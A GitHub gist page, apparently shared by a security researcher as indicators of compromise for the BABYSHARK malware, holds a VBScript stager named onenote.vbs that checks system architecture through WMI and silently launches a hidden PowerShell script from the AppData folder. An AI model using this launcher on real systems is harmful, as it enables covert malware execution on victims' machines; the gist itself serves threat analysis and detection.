Skip to content

Instantly share code, notes, and snippets.

@JohnHammond

JohnHammond/onenote.vbs Secret

Created February 23, 2022 18:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnHammond/24cd52c14a50c5f48437931e3bfe973e to your computer and use it in GitHub Desktop.
Save JohnHammond/24cd52c14a50c5f48437931e3bfe973e to your computer and use it in GitHub Desktop.
Download ZIP
BABYSHARK malware indicators of compromise
Raw
onenote.vbs
On Error Resume Next
Set wShell=CreateObject("WScript.Shell")
ix=0
Set objWMI = GetObject("winmgmts:\\.\root\CIMV2")
Set coll = objWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")
For Each obj In coll
ix=InStr(1, obj.systemtype, "X86")
Exit For
Next
Set wShell=CreateObject("WScript.Shell")
retu=wShell.run("powershell cd $env:appdata ;powershell -executionpolicy remotesigned -file ""./Microsoft/dev.ps1""",0,false)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment